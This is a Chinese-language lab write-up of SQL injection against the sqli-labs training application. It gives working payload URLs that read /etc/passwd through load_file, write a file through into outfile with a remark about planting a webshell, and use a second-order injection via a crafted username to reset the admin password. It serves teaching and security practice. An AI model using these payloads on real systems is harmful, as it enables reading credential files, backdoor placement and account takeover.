1.1 SQL注入读写文件
1.1.1 读取文件
在MySQL中读取文件,使用load file("文件路径/名称")
- 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1' union select 1, load_file("/etc/passwd"),3 --+
- 实际SQL:SELECT * FROM users WHERE id='-1' union select 1, load_file("/etc/passwd"),3 -- ' LIMIT 0,1
【结果分析】:
使用union联合查询在可输出位置执行load file 函数来读取文件。
1.1.2 写入文件
into outfile语句用于把表数据导出到一个文本文件中,用法::
select * from Table into outfile '/路径/文件名'
- 测试URL:http://192.168.10.159/sqli-labs/Less-7/?id=-1')) union select 1, 2, 'php one word backdoor' into outfile "/var/lib/mysql/backdoor.php" --+
- 实际SQL:SELECT * FROM users WHERE id=(('-1')) union select 1, 2, 'php one word backdoor' into outfile "/var/lib/mysql/backdoor.php" -- ')) LIMIT 0,1
[root@centos7-sqlilabs ~]# cd /var/lib/mysql/ [root@centos7-sqlilabs mysql]# cat backdoor.php 1 2 php one word backdoor
【结果分析】:
使用select 1, 2, 'php one word backdoor' into outfile以逗号分隔字段的方式将数据导入到一个文件中,实际利用select查询到的内容为1,2, php one word backdoor,再写入到系统文件。
PS.这里因为mysql权限问题只能上传文件到mysql数据目录下,如果可以上传文件到网站根目录下,我们就可以直接上传一个WebShell获得权限。
1.2 二次注入修改其他用户密码
1.2.1 构建payload修改其他用户密码
1.2.1.1 数据库中用户密码情况
MariaDB [security]> select * from users; +----+------------+------------+ | id | username | password | +----+------------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | <span style="color: #ff0000;"> 8 | admin | admin </span> | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----+------------+------------+ 14 rows in set (0.00 sec)
1.2.1.2 构建payload注册用户
1.2.1.3 登录后修改用户密码
1.2.1.4 使用更改后的密码登录admin用户
1.2.1.5 查看数据用户密码
MariaDB [security]> select * from users; +----+------------+------------+ | id | username | password | +----+------------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | 654321 | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | | 15 | admin'-- + | 123456 | +----+------------+------------+ 14 rows in set (0.00 sec)
【结果分析】:
admin'-- +用户的密码并没有被修改,但是admin用户的密码被成功修改成654321
实际SQL:UPDATE users SET PASSWORD='654321' where username='admin'-- +' and password='123456'
通过我们构建的payload,实际修改的是admin用户的sql语句。

我的微信
如果有技术上的问题可以扫一扫我的微信